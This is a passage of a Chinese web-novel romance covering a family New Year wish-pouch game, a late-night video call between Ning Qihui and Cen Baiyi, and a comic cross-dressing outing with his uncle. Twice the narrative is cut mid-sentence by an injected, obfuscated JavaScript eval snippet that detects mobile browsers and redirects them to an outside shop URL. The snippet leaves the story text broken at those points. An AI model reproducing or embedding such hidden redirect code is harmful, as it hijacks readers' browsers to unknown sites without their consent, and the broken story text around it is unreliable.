春晚放着在边上当BGM,几个大人围在一起打牌,轮换制,五个人,谁赢了谁下场。 上一局苏绍庭赢了,他现在陪唯一的宁·小孩子·不会打牌·启洄坐在沙发上。 客厅里的时钟慢慢走,当时针和分针同时走到12,新春到来。 零点,宁启洄手机响了好几声。 苏绍庭又看过来,挑眉但笑不语。 是朋友们发来的新年祝福。 宁启洄直接看向置顶的那条消息。 岑柏意给他发了微信红包,连发了好几个。 【cby】:岁宝新年快乐,平平安安。 宁启洄抿唇笑了一下。 【岁岁平安】:谢谢岑总,老板新年快乐! 【cby】:在做什么? 宁启洄说他在守岁。 下一秒,对面的视频通话邀请就打了过来。 宁启洄愣了一秒,随即慌张地窜上楼,还差点被地毯绊倒。 他拐了个弯,进卧室把房门反锁。 一旁正好摸到红中胡牌的叶秋眉把牌推倒,温温一笑,“这孩子,怎么毛毛躁躁的。” 话语里却满是亲昵,毫无责怪意味。 苏情平常脾气是很好的,这是遗传了叶秋眉的平和,但炸毛了的脾气和苏世安很像。 苏绍庭就不一样了,也不知道像谁——用苏世安的话来说,这就是个二世祖。 苏情给出一张红色毛爷爷,听母亲这么说,也笑了,“一岁大一岁,岁宝成年了,有自己的想法。” 一旁的宁霄城冷哼一声,到底没敢接话挤兑他儿子,不然老爷子老太太又得说他几句。 房间里,宁启洄喘着气点开接通。 岑柏意一愣,笑了笑,“不用这么急,我不会挂的。” 宁启洄摇头,“微信会自动挂断。” 岑柏意一愣,闷闷笑了两声,笑得宁启洄都不好意思了,红着脸凶巴巴,“不许笑!” “好,好,不笑。”岑柏意尽量收起藏不住的笑意,自觉跳过这个话题,岑柏意问他最近过得怎么样。 宁启洄嘴上说最近的经历,眼睛却紧盯着屏幕那边的人,他此刻穿着一件黑色大衣,内搭是卡其色的高领毛衣,略显宽松,衬出他完美的身材。 不知道为什么岑柏意会打视频电话过来,感觉哪里怪怪的。 这样想着,宁启洄不小心把心里话说出来了。 他刚要解释,就见岑柏意笑了一下。 他笑得很温柔,“不想我打视频来吗?” 宁启洄耳尖一红,嗫嚅道:“想、想的。” 岑柏意心口一热,心脏砰砰直跳,他笑意更甚,“想你了,打视频聊聊天。” 算是回答了他的问题。 宁启洄脸完全红了,但又不想淡出摄像头,怕错过宝贵的云见面时光。 岑柏意看着对面人白皙的脸上染了霞红,眸色有些深沉。 “岁宝怎么不戴我妈买的帽子,很可爱。” 宁启洄嘟囔几声什么,岑柏意没听清,但他看见宁启洄慢慢慢转身,翻出了那顶浅棕色的鹿角帽子。 软乎乎的布制鹿角顶在帽子上面,宁启洄眨巴着清澈的黑眸,还真有些像小麋鹿。 岑柏意眼神有些灼热,看得宁启洄脖子也红了。 两人聊了很久,直到苏情上来敲他的房门,“岁宝,下去抓锦囊了!” 宁启洄应了一声好。 岑柏意听见,很善解人意地表示他有事的话可以离开。 两人又依依不舍告了别,宁启洄挂了电话,飞快冲出去。 与此同时,岑家。 视频通话被挂断,他盯着那个炸毛毛绒白团子,勾唇笑笑。 一旁剪窗花玩的夏玥看见,一脸新奇,用手肘戳了戳在红纸上画花纹的岑为宥。 岑为宥被戳得手一抖,花纹画歪了。 他轻轻擦掉铅笔痕迹,无奈笑笑,“估计是小宁呢。” 夏玥恍然大悟,点头说有可能。 随即,她又拧眉,有些想不通,“都没见小意给小陵打过视频呢。” 岑为宥在心里默默:江千陵是你儿子的好朋友,宁启洄看着可不像只是朋友。 看破一切的岑先生面上还是笑,顺着老婆说:“提醒提醒小意?” 夏玥摆摆手,“算了,估计他也懒得打。” 岑为宥:“……”老婆你真了解你大儿子。 —— 抓锦囊是苏家每年过年的保留节目,跨年的时候准备人数两倍的锦囊,每人写两个愿望,分别塞进两个锦囊里,来年再摸,谁摸到谁的就给谁实现愿望。 为了避免有人的愿望没摸空,而有人的愿望一个都没被人抽到,所以大家把锦囊分为两类,红色的是大家一起抽的,蓝色的是需要自己实现的。 ——所以,其实相当于是一个愿望和一个目标。 比如说,去年写下的两个锦囊,今年再拆开,抽到某人红色锦囊的,要为锦囊的主人实现那个不太过分的愿望,而抽到某人蓝色锦囊的,则要询问锦囊的主人去年一年有没有实现这个愿望。 以前是会准点玩的,后面几人打麻将打着打着忘记了时间,干脆零点过后,初一当天玩。 宁启洄回到客厅 苏绍庭挑眉看他,“小外甥,是去和谁打电话了呀~抓锦囊都差点错过了~~” 语气荡漾,好不欠揍。 宁启洄:“……” 倒是苏情诧异地看了他一眼,“岁宝交到新朋友了?” 随即,她又摇头否定自己,“不对,岁宝往年也没跟小枫视频过。” 宁启洄这才想起来,光顾着和岑柏意打视频电话了,忘记回其他人的微信消息。 点开微信,除了置顶,最上面的一个头像框就是林枫晚的。 【二月花】:新年快乐阿宁! 【二月花】:[红包:新年快乐~] 【二月花】:怎么不回我?我记得你们家过年要守岁的,你不会睡了吧? 【二月花】:哈喽? 【二月花】:[对方忙线中] 【二月花】:excuse me??? 宁启洄看见那个[对方忙线中],心虚不已地给他回复。 【岁岁平安】:在呢在呢,刚静音了。 对面秒回。 【二月花】:那就好,还以为你过个年被拐卖了。 宁启洄:“……”大过年的,真是满嘴吉祥话。 两人又聊了几句,林枫晚说胡女士叫他,聊天就此打住。 目睹全过程的所有人:“……” 还真不是和林枫晚视频啊,那是和谁? 心思细腻的苏情觉得哪里不对劲,她试探着问道:“岁宝是谈恋爱了?” 宁启洄正在喝水,闻言,被呛得满脸通红,不住咳嗽,苏情忙给他拍拍背。 “喝水小心一点嘛。” 宁启洄无奈:是他想这样的吗。 等缓过来,宁启洄小心翼翼问:“妈,你为什么会这么想?” 女人的第六感真是准得可怕。 苏情撩了把新做的卷发,笑道:“新年卡点送祝福,不是朋友,那肯定是对象呀~” 宁启洄这才注意到,对哦,岑柏意打视频来的时间是零点。 他喜欢人家都没注意这些细节,倒是岑柏意,一个对他没意思的人,准点给他送祝福。 哎,惭愧啊。 宁启洄哼唧两声,没肯定,但也没反驳。 一旁的宁霄城皱起眉,顾着两位长辈在场不好训他,只是说:“现在还早,大三了再考虑这些事情。” 之前生日宴会,是谁跟他求助把缠着他的人甩掉的,现在又谈上了? 不可以! 有一种家里大白菜被猪拱了的愤怒。 其实想谈但还没谈上的大白菜噘起嘴,小声反驳,“就知道管我。” 宁霄城耳力很好,闻言一瞪眼,“我是你爸,我不管你谁管你!” 宁启洄一缩脖子,蹭到对她最最温柔的外婆身边,抱着叶秋眉的手臂晃呀晃,“外婆呀,外婆管我~” 叶秋眉见状,乐呵呵笑了几声,苏世安也跟着笑。 宁霄城:“……”这小兔崽子,就知道仗势压他。 这么一打岔,也没人再管宁启洄是和谁打跨年电话了。 苏世安抱出一个大木盒子,里面放着红色蓝色的锦囊,布料柔软,做工精致,每一个锦囊都长得一模一样。 他把红色的锦囊和蓝色的锦囊分成两堆,让大家摸——这是有可能摸到自己的,自己实现自己的愿望也不亏,最主要是摸到蓝色的,如果写了什么“见不得人”的小愿望,自己抽到了可以自己说有没有实现,不需要说出来是什么愿望。 先抽红色的锦囊,宁启洄拿到了苏绍庭的: 2024年末,希望能有人性转变装陪我去逛街。——宇宙无敌帅の苏绍庭 宁启洄:“……” 这是一个正常的二十七岁男人该许的愿望吗? 观察了一下小外甥的脸色,苏绍庭了然:这是抽到他的纸条了。 对上他的视线,宁启洄表情复杂,“你就没想过,要是外公或者我爸抽到了呢?”穿裙子陪你逛? 你怕不是腿要被打断。 苏绍庭笑得灿烂,指了指纸条,“背面还有字呢。” 宁启洄闻言,翻转纸条: ps:如果年龄超过二十,就正常逛街就好~——依旧是大帅比苏绍庭 宁启洄:“……” 宁启洄面无表情抬头,对上苏绍庭笑眯起的眼睛。 宁启洄:你耍赖,针对我。 苏绍庭:没人说不能这么做。 宁启洄:…… 呵呵,现在游戏的性质变了,你完了苏绍庭。 其他人也拆完了锦囊,苏世安举着一张纸条看过来,“岁宝想要一张黑卡?” 宁启洄:“……” 遭,他去年的愿望居然是这个吗? 也是,家里除了他,谁的资产都过亿了。 贫穷米虫宁启洄羞愧低头。 苏世安笑着说好,过几天让人把卡送来。 大家的愿望都很平常,轻而易举就能实现——除了苏绍庭的。 宁启洄一脸绝望地念出苏绍庭的纸条以及背后的备注,苏情先是一愣,随即乐不可支,靠在宁霄城臂弯处笑。 苏世安和叶秋眉也是笑,除了老古板宁霄城皱起了眉。 宁启洄第一次觉得,宁霄城的臭脸如此和蔼可亲。 苏情笑够了,抹着眼泪道:“岁宝,你还记不记得你小时候穿过小裙子?” 宁启洄手一顿,什么? 苏情回房,不多时就回来了,手里拿了一本厚厚的相册。 “这是你从小到大的照片,我都拍了。”苏情笑着翻开第一页,“这是你刚出生的时候,通红,皱巴巴的。” 苏绍庭咂咂嘴,点评道:“真丑。” 苏情横了弟弟一眼,“刚出生都这样。” “这是你十个月大的时候,那时候你刚会走路,扶着椅子跌跌撞撞朝我这跑,摔倒了就哭,哭完继续跑,哈哈……” “这是你一岁两个多月,你已经会说一点话了,你爸一直在教你说‘爸爸’,结果你最先喊‘妈妈’,哈哈哈哈!” 苏情翻了很久,脸上的温柔笑意一直都没下来过,眼睛有些亮。 突然,她翻页的手停住,从里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174305|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面抽出一张照片来。 宁启洄探头去看,照片上是一个白白嫩嫩的漂亮小孩,粉雕玉琢的笑脸,两个眼睛黑漆漆圆溜溜的,乌黑又清澈,小嘴微微嘟起,他穿着白色的蓬蓬裙,头上还带了蝴蝶结发卡,可可爱爱的。 如果苏情不告诉他这照片上是他的话,他第一眼肯定会以为,这是个漂亮可爱的女孩子。 苏情笑道:“像个小天使。” 宁启洄心想,像个小糯米团子才对,又像个小汤圆——他想到寄养在岑柏意家的小龙猫汤圆了。 接连换环境对小汤圆不太好,他决定就先放在岑柏意家,开学了再带回宿舍。 苏世安和叶秋眉也想到了宁启洄小时候的软萌模样,笑道:“岁宝抽到了,那要实现小舅的愿望咯。” 宁霄城皱眉,“一个大男人穿女装像什么样子。” 苏绍庭笑道:“哎咦~姐夫,现在年轻人很流行性转换装的~” 在场唯一的真正年轻人宁启洄:“……”并没有,是你的个人爱好谢谢。 宁霄城张了张嘴,还想再说什么。 然而,在这里没人权的宁霄城说话不好使,指望不上他的宁启洄绝望闭眼。 苏绍庭,我恨你。 红色锦囊纸条抽完了,抽蓝色锦囊。 宁启洄抽到的是外婆的纸条: 希望新的一年,所爱之人都健健康康,平平安安——叶秋眉。 这个囊括就多了,宁启洄觑了眼表情有些扭曲的宁霄城,觉得他也许大概可能在这个“所爱之人”的范围之内……吧,毕竟外婆对他的意见并没有外公的大。 等等,这是抽到谁的了?表情这么难看? 宁启洄悄悄看他,后者也抬头,对上他的视线。 宁启洄:怎么了? 宁霄城:呵呵。 宁启洄:…… 该不会是抽到他的了吧? 他不记得自己去年写了什么,少年想法多变,一天换一个,他想做的事情多得很,估计当时就是随脑一想写了一个。 宁霄城把纸条拍在桌子上,缓慢摊开,上面飘扬不羁的字迹映入所有人眼帘。 新的一年,希望农药能上王者——来自钻石王老五宁启洄 宁启洄:“……” 不,你们听我解释。 苏绍庭神色一震,拍了拍他的肩膀,“小外甥,这都敢写出来,不愧是独生子。” 如果是他在宁启洄这个年纪,敢写这种愿望,他爹抽了皮带抡着揍他——毕竟他还有个姐姐,继承人不止他一个。 哈哈,还好当时没写他想泡到高中校花。 独自开朗的苏绍庭幸灾乐祸地看着小外甥。 苏世安倒是很宠小孙子,拍了拍宁霄城的手臂,看向宁启洄,“那岁宝的愿望实现了没有?” 宁启洄:“……没有。” 更尴尬了。 本来快了,赛季更新把他又踢下去了,宁启洄恼羞成怒把游戏卸载,从此封心锁爱不玩网游了。 “咳咳,”苏世安清清嗓子,转移话题,“看我抽到了谁的……是小情的。” 苏绍庭做口型学他:咦~是小情的~ 他姐就是小情,他就是苏绍庭,呵呵。 正好被抬头的苏世安看见了。 苏世安:“……” 苏绍庭:“……”我错了爸。 大过年的,苏世安没和他计较。 “小情的愿望是,新的一年,靠自己赚的钱买到想要的包包。”苏世安笑起来,眼角的皱纹里都泛着对女儿的爱,“小情的愿望肯定实现了吧?爸看到那只包了哦。” 那只包的款式看着像去年的,苏情不会背超过一年的包,除非这只包有特殊含义。 比如说家人送的第一只包,比如说手里的这只。 苏情红着脸,微微点头。 这是她投资胡秋雁的美容院赚到的钱,不是来自家族企业的分红,也不是宁先生给的零花钱,是靠她自己赚的——虽然启动资金也是他们给的钱吧,但总归算是自己的。 宁霄城一向严肃的面容也泛着笑意,目含温柔地看着苏情。 苏世安点头,如果不是因为宁霄城情根深种,再加上苏情也喜欢他,他才不会把女儿交给他。 彼此看过新年愿望之后,到了写纸条的环节。 宁启洄记恨上让自己女装的苏绍庭,他恨恨地写了张纸条: 2025年末,希望有人能穿女装陪我去玩密室逃脱——来自记仇的宁启洄 有样学样,他在反面写上备注。 ps:女装要求只针对某个二十八岁生日在1月25日的讨厌鬼 不小心看见备注的苏绍庭:“……” 这是不是就有点过分针对了。 还有,谁是讨厌鬼! 宁启洄才不管他,折起纸条,用力塞进红色锦囊,气哼哼地写第二张条子。 他自己要实现什么呢? 年纪增长,愿望好像变少了。 他已经考上A大了,学习成绩也名列前茅,并没有任何学业上的期待。 物质生活水平?他也倒是希望宁先生能大方一点,但估计新的一年实现不了,还会在这条愿望被念出来之后,被苏绍庭狠狠嘲笑,然后就是宁先生狠狠挨骂——挨外公的骂,说他苛待他的宝贝孙子。 算了,宁先生也挺可怜的。 反正他也有外公给的黑卡了。 那还有什么…… 宁启洄思绪放松,总会想起岑柏意。 对了!写这个! 其他人也纷纷写下自己的愿望,宁启洄护得很紧,防着试图再次偷窥的苏绍庭。 苏绍庭啧了一声,防贼呢。 写完了,宁启洄把第二张纸条仔细折起来,塞进蓝色锦囊里,和红色的锦囊一起放进木盒子里。 木盒上锁,苏世安把它放回保险箱,承载着最美好的祝福和愿望,开启新的一年。 外面烟花又起,照亮了半个山头,传来千家万户的笑声和团圆之喜。 几人站在窗边看烟花,苏世安搂着叶秋眉,宁霄城搂着苏情,剩下两只单身狗面面相觑。 火光映照在他们脸上,眼里的光亮是未来的希望。 木盒子里,某个蓝色的锦囊静静和其他纸条挤在一起,里面躺着一张白色纸条,纸条上面写着: 新的一年,要和岑柏意在一起——宁启洄 55.惊喜 本该平淡又温馨的抓锦囊游戏被他们玩得惊险刺激——其实刺激的主要是宁启洄。 他决定做点什么缓和一下自己狂跳不止的心。 在每年照例拍完全家福之后,宁启洄先拿到电子照片,钻进房间待了一整天,中午吃饭都没下去,还是苏情给他送上来的。 就这样持续了快一个星期,在他们离开老宅之前,宁启洄终于出关。 他拎着一幅大大的画,兴冲冲跑到苏情面前,“妈!看,我画的全家福!” 他很小就学过画画,平时没事就画着玩,后面沉迷网游也懒得画了,上大学更是没什么时间。 现在重新捡起来,画技也还不算生疏。 他是用水彩画的,颜色有点淡,不过很好看,在全家福的背景基础上加了窗户,窗户外边是绚烂无比的烟花。 苏情当然是夸夸夸,然后拎着宝贝儿子的画去给爸爸妈妈看,苏世安和叶秋眉也很开心——上一次宁启洄给他们画画还是在他初中的时候了。 现在长大了,画技更为成熟,画画风格也不一样了,但总归是好看的。 这幅画就留在了老宅,苏世安把它裱起来放在客厅,前来拜访的老友进门就能看见,不免又要炫耀一番。 吃过晚饭,宁启洄和爸爸妈妈就回了A市,连带着苏绍庭一起。 ——原本苏绍庭是该留在老宅的,但他说小外甥抽到了他的愿望还没来得及实现。 宁启洄的打算是在这一个星期就做了,起码B市他不认识什么人,走在路上也没那么丢人。 结果苏绍庭非要让他回A市了再换装逛街。 就算知道这可能是苏绍庭避免自己单独面对严厉的父亲和劝不住的母亲的小手段,但他还是忍不住叹气。 救命,他在A市生活了十八年,一板砖砸下去都能砸中几个熟人。 这要是穿了女装去逛街,那还得了。 出了初七,大街上人可不少。 宁启洄看着苏绍庭轻车熟路钻进宁霄城的车后座,和他坐一排,他闷闷不乐地看向窗外,开始思念岑柏意。 岑柏意就不会这么捉弄他! 剧本杀里的新娘嫁衣是只有他能穿下,演小姐的那套衣服是蓝星星“逼良为娼”,不能怪岑柏意。 宁启洄在心里给心上人找补。 ……可是为什么青色长裙被留下来啊! 宁启洄微微崩溃,是这个世道变了吗,为什么他觉得他们有一丝丝的变态? 苏绍庭似乎没有看出来小外甥的崩溃内心,他心情很好地点开购物软件,搜索水手服JK制服和白丝。 宁启洄看着那卡哇伊的模特和胸前大大的蝴蝶结,沉默许久。 宁启洄:“……敢让我穿这个你就死定了。” 苏绍庭挑眉笑道:“怎么,搞歧视啊?不挺好看的嘛~很衬你。” 衬你个头。 宁启洄面无表情,语气幽幽:“你会被我爸打断腿。” 苏绍庭表情一默,迅速换了搜索词。 碰巧到了一个路口,宁霄城停下车等红灯,闻言,通过车内后视镜看他们,“什么衣服?” 两人对视一眼,默契道:“没事没事。”是你这种古板中年人欣赏不来的衣服。 绿灯亮起,宁霄城狐疑地看了他们一眼,继续开车。 苏绍庭继续选裙子——原本宁启洄进行了抗议,表示女装不只有裙子,大冬天的穿裙子会冻死的。 他灵机一动,说可以穿浅色羽绒服,戴个可爱店的帽子围巾就好了。 苏绍庭摁灭了他的灵机一动,他有理有据,“第一,这是我的愿望,由我决定你穿什么;第二,不会冷死的,多贴点暖宝宝,我们挑有暖气的店逛。” 飞扬的表情写满了“快看我多贴心”。 宁启洄:“……”6。 之后,苏绍庭一直捂着手机不让他看,以免像之前的水手服一样被扼杀在摇篮里。 宁启洄也没管他,自顾自看着车窗外飞快掠过的景色。 已经初八了,A市市区内的新年气氛却正浓,除去过年假期的几天,各个店铺开业的新年活动才刚刚开始。 街道两旁种着榕树,树上挂了blingbling的彩灯装饰,偶尔有流苏状的米白色彩灯垂下来,随着冬风轻轻摇摆。 叶子比较少的樟树上则挂了红彤彤的小灯笼,即使夜间也灯火通明。 他想,是不是该给岑柏意也送个新年礼物? 虽然之前宁先生和苏女士带着他买了礼物去感谢岑柏意一家,不过当时只有岑柏意和岑念两个人在。 而且,礼物是他们挑的,不能表达他的心意。 他想,是该准备一份礼物。 —— 回到家牧哥飞快冲出来迎接他们,绕着苏女士和宁先生转一圈,然后开始扒拉宁启洄的裤子。 站在台阶上笼子里的鹦鹉小凤也喊着“欢迎回来——”。 这离开的一个多星期,苏女士叫了专人上门喂它们,总归不能饿着。 他们这边刚到家没多久,林枫晚就过来了。 “阿宁我来了!”他从隔壁看见了宁霄城的车回来了,这才急匆匆跑过来。 “干爹干妈新年快乐!”林枫晚看着客厅里的夫妻俩,笑着打招呼。 苏情摸出两个准备好的红包,塞到林枫晚手里,“小枫也新年快乐。” 林枫晚熟练地假客气推辞,然后苏情再推过来,林枫晚再推回去。 如此来回几次,苏情故意板着脸道:“你这孩子,都叫我干妈了,给个红包还不要。” 宁启洄看得牙酸,大声嚷嚷:“喂喂喂!不要给我,我穷死了——” 屋里几人眼神瞬间锐利,“大过年的不要说这种不吉利的话!” 宁启洄表情一言难尽,其他人就算了,林枫晚你有什么资格说我,你跨年还说我被拐子拐走了! 林枫晚也不推辞了,把红包收进口袋里,笑嘻嘻道谢。 他转身凑到宁启洄身边,小声逼逼,“阿宁待会去一趟我家,我家来了好几个叔叔舅舅姑姑,红包管够!” 维持着贫穷人设但其实一夜暴富有黑卡的宁启洄:“……” 端着水杯路过的某小舅:“……” 这倒霉孩子。 最终,宁启洄还是没去,只等那些亲戚都离开了,他才跟着林枫晚去向林默远和胡秋雁拜年。 不出意料,他也拿到了两个大红包。 两人在他家玩了好一会。 等回家了,看见牧哥的窝和小凤的笼子里各有一个小红包。 宁启洄:“……” 虽然每年苏女士都会给他们发红包,但这样会让他觉得他和宠物的地位是一样的。 宁启洄四处看看,确定安全后,把魔爪伸向它们的小红包。 牧哥和小凤都是他要养的,跟他很亲,自然不会乱叫出卖他,此刻都只是歪着头,好奇地看他们的小主人。 宁启洄摸进牧哥柔软舒适的狗窝,然后摸到一个硬硬的东西。 他抽出来一看,是一块给它磨牙的骨头,骨头浑身都布满咬痕,其中一端还沾着可疑的透明液体。 宁启洄:“……” 他把骨头塞进瞪着眼看他的牧哥嘴里,继续摸。 继摸出牧哥的小零食、小玩具甚至苏女士的毛线球之后,他终于拿到了那个深埋于被窝里的小红包。 拆开,一枚闪闪亮的金币躺在他手心,沉甸甸,很有份量。 宁启洄很想学电视里那样咬一口,但碍于这东西的出处,只能沉默地看着它 硬币是定制的,正名是牧哥的Q版狗头,反面是202 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183177|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 5四个数字。 他沉默几秒,又去摸小凤的笼子。 笼子不大,这回倒是很顺利拿到了,里面也是一个金币,雕着鸟头和2025。 “……”都是如出一辙的金子,苏女士这压岁包给得真豪横。 肩上突然出现一只手重重拍了一下,宁启洄吓了一跳,就听身后传来幽幽的声音:“小外甥,你连它们俩的压岁钱都不放过?”禽兽不如。 宁启洄:“……我就看看。” 苏绍庭挑眉:“看到什么了?” 宁启洄摊开手心,里面放着两枚沉甸甸的金币。 过年一个子儿都没拿到的苏绍庭:“……”禽兽不如的原来是我自己。 就这样热热闹闹过了几天,宁启洄再次出关。 他飞快窜进房间,鬼鬼祟祟给岑柏意打了个视频通话邀请。 对面很快接通,岑柏意的俊脸出现在屏幕上。 他似乎剪了头发,露出更加凌厉的眉眼,新发型很衬他,很帅。 宁启洄忘记自己想说什么了,他卡了壳,很不合时宜地问了一句:“岑老板,你有舅舅吗?” 正月剪头的岑柏意瞬间get:“……有,两个舅舅。” 宁启洄:“……?!!” 岑柏意淡定,“夏女士带我去剪的,并且拍照发给了她的两位兄长。” 宁启洄:“……好看的,夏姐审美不错。”有一种不顾舅舅死活的美感。 好塑料的兄妹情,跟苏女士和他小舅有得一拼。 短暂的沉默之后,两人默契地跳过了这个话题。 岑柏意的目光落在宁启洄露出的小虎牙上,轻声问:“回A市了吗?” 之前宁启洄跟他说过,他们是在B市老宅过的年,现在已经初八了,他估摸着该回来了。 宁启洄点头,终于想起来这通电话是要干什么了,神神秘秘对他说:“岑总,今天晚上有惊喜送达!” 岑柏意配合地压低声音,“哦?是什么?” 宁启洄扬起大大的笑脸,“是惊喜!”那当然不能说! 岑柏意笑着点头,“谢谢岁宝的惊喜,那你什么时候来?我正好提前去买菜。” 完全没想到闪现送惊喜的宁启洄:“……?” 见他笑容僵住,岑柏意蹙眉,觉得哪里不对,“你不来吗?” 宁启洄动了动嘴,小小声,“我寄了同城特快,刚把东西拿走,晚上就能到。” 岑柏意一怔,忍不住笑了一下,“岁宝,我们两家离得很近。” 宁启洄更心虚了,不敢看他,“我不会开车。” ……是家里没司机,还是不会打车了。 岑柏意无奈叹气,柔声道:“跟我说一声我来拿也行,不过没关系,能拿到就好,还是谢谢岁宝。” 他温柔体贴的声音,让宁启洄更觉得自己像个傻逼。 两人又聊了好一会,直到苏绍庭来敲他的房门,“走了小外甥,记得换裙子啊!” 宁启洄手忙脚乱把视频关了,给岑柏意发消息解释。 【岁岁平安】:要和小舅去逛街,我先走啦!(团子蹦跶.jpg) 【cby】:好,注意安全(团子蹦跶.jpg) 见他还有心思偷自己的表情包,宁启洄松了一口气,看来是没听到苏绍庭嚎的那一嗓子。 他看着床上那套长裙,闭了闭眼,视死如归地伸出手。 与此同时,岑家。 坐在卧室沙发上的岑柏意盯着那个来回蹦跶的炸毛白团子,微微眯起眼:是那天那个跟他勾肩搭背逛一上午的小舅? 感情真好。 他刚刚说什么来着……裙子? 岑柏意隐约捕捉到什么关键词,想了想,下楼跟夏玥说下午要出去一趟,不确定什么时候回来,不用等他吃晚饭。 56.变装 苏绍庭眼光确实不错,他挑了件长裙,还搭配了一根细细的黑色皮带。 ——原本还有一套备选,是皮短裤黑丝加大衣,被宁启洄按头否决了。 床上是一套搭配好的衣服,上半身是米白色衬衫,外面套了件略有些宽松的棕灰色毛衣马甲,下身搭配了一条高腰半身百褶裙,脚上是一双男女都能穿的棕色马丁靴——甚至有假发和项链。 确实好看。 宁启洄刚换好衣服,苏绍庭就敲了敲门,走进来,手里拎着个包。 他打量了一番宁启洄,满意点头,“好看,不愧是我。”挑的。 宁启洄:“……”跟你有什么关系。 欣赏片刻,苏绍庭把手里的浅棕色包包递给他,上面熟悉的logo差点闪瞎宁启洄的眼。 “大概值我姐给你的半盒小黄鱼~”苏绍庭把包往他臂弯一挂,笑眯眯的,“别再说小舅只会给读书卡了哦~” 宁启洄:……你那个破读书卡是真的没什么用。 苏绍庭不置可否哼笑一声:那可不一定。 —— 两人收拾好就出了门,秉持着能少走路就少走的原则,宁启洄出门就打了车——今天是全程嗨逛活动,司机不太方便陪同,而且宁启洄也不想让司机刘叔看见他穿裙子的样子。 关上车窗,把冷风隔绝在窗外,宁启洄搓搓胳膊,试图让自己暖和起来——这衣服是真的很薄,要风度不要温度的。 司机师傅热情地聊着天:“今年A市比往年冷很多,但是没下雪。” 苏绍庭搭话:“是啊,去年这个时候我都在堆雪人了。” 宁启洄斜睨了他一眼,心道,你堆个屁,去年你在A市就待了两天,那两天艳阳高照,一颗雪粒子都看不见。 两人聊了一路,直到下车的时候,被冷风一吹,宁启洄打了个喷嚏,司机师傅似乎这才注意到车上还有另一个人。 司机师傅:“小姑娘,天冷要多穿点,不然老了像我一样老寒腿。” 宁启洄:“……” 是他想穿这么少的吗? 不对,谁他妈是小姑娘! 苏绍庭吃吃笑起来,在旁边帮腔道:“就是,劝过了,非要这么穿,说现在流行这样。” 司机师傅:“唉,我女儿也是……” 顶着寒风又聊了一会,直到司机手机上的接单软件滴滴两声,他才依依不舍地把车开走。 宁启洄冷笑,“怎么不继续聊了,我看你——阿嚏!你们聊得挺好啊。” 苏绍庭笑眯眯点头,“是挺好。” 宁启洄:“是不是还要拜个把子?” 苏绍庭笑意更甚,突然换了个话题,“我觉得,你得变一下音。” 宁启洄:“……如果我不呢。”就不让你顺心。 苏绍庭摊手,“我是无所谓,但你穿着女装被人听到是个男人的声音,会被当成怪蜀↓黍↑的~” “……” · 按照苏绍庭的计划,他们先在大街上逛一圈,再去店里买点东西,但宁启洄实在是太冷了,他们只能随便找个店暖下身子。 苏绍庭挑的衣服其实不算薄,但他本就畏寒,贴了好几个暖宝宝也没用,再加上今年A市冬天比以往更冷,他往年这个时候都不出门——初中高中教室里都有暖气,在家甚至热得穿短袖。 冷死了,宁启洄抱着胳膊打了个寒颤。 苏绍庭倒也没那么没人性,在店里的时间比在街上吹冷风要多。 逛了一会,两人路过一家墙壁是反光材质的店,宁启洄随意瞥了眼,似乎看到了某个熟悉的人。 嗯? 他再仔细看去,又没有了那个比其他人都要高的身影。 可能是看错了吧,宁启洄想。 他挽着苏绍庭的胳膊继续走,把他当可移动人形暖手宝。 人群里的岑柏意见他扭头,这才悄悄松了口气,轻轻跺了跺蹲麻了的腿。 居然穿女装了…… · 余光瞥见一个熟悉的店铺,宁启洄面无表情,抬脚就要走。 就在这时,苏绍庭突然伸手拉住了他,欠揍的声音响起,“小外甥,书屋都来了,你的读书卡发挥作用了哟~” 宁启洄面不改色把不小心带出来的卡往口袋里塞了塞:“我没带读书卡。” 苏绍庭弯起眼笑,“没关系,我用你手机号登记了,带手机了就行~” 宁启洄:“……” 他臭着脸,被拉进莉莉丝书屋。 书屋装修比较偏西式,随处可见伸出来的假树枝和魔法杖,周围的壁灯造型奇特,木质地板上铺着画了巨大且繁复的魔法阵的地毯,放书的桌子书架上随处可见地精树精小矮人的玩偶和陶塑,顾客走进来会有种穿越到西幻世界进行树屋探险的感觉。 苏绍庭径直把他拉到漫画区,给他展示这一片天地。 漫画区有不少人,坐在椅子上的,靠在柜子边的,甚至有趴在地上的。 宁启洄的视线扫过一片片【热血少年漫】【中二校园漫】【幽默沙雕漫】…… 这个【纯爱腐漫】是什么? 没见过,尝尝。 宁启洄正要抽出一本,却无意间瞥见书脊上的漫画名,他瞳孔地震,瞬间被硬控五秒。 为什么莉莉丝书屋会有这种东西?! 苏绍庭似乎看出他的想法,抽出一本随意翻看。 啪—— 拍在他手心。 “这是一家书屋,不是宝宝乐园。” 宁启洄:“……” 他沉默着低头,看这本漫画的书脊上的黑色艺术字——《恶魔的纯情男仆》。 几个显眼的标签出现在封面: 【囚禁】【病娇】【调教】【女仆装】 封面上还画着一个面容清秀的动漫男生,他穿着黑白相间的女仆蓬蓬裙,衣领立起,白皙修长的脖颈处打了个精致的红色小领结。 男生坐在另一个穿着西装背后长恶魔翅膀的男人腿上,他的腰被男人环住,男人的另一只手伸到男生的裙底,而他轻咬嘴唇满是隐忍,双眸含泪、满脸通潮红地看向漫画书外的宁启洄。 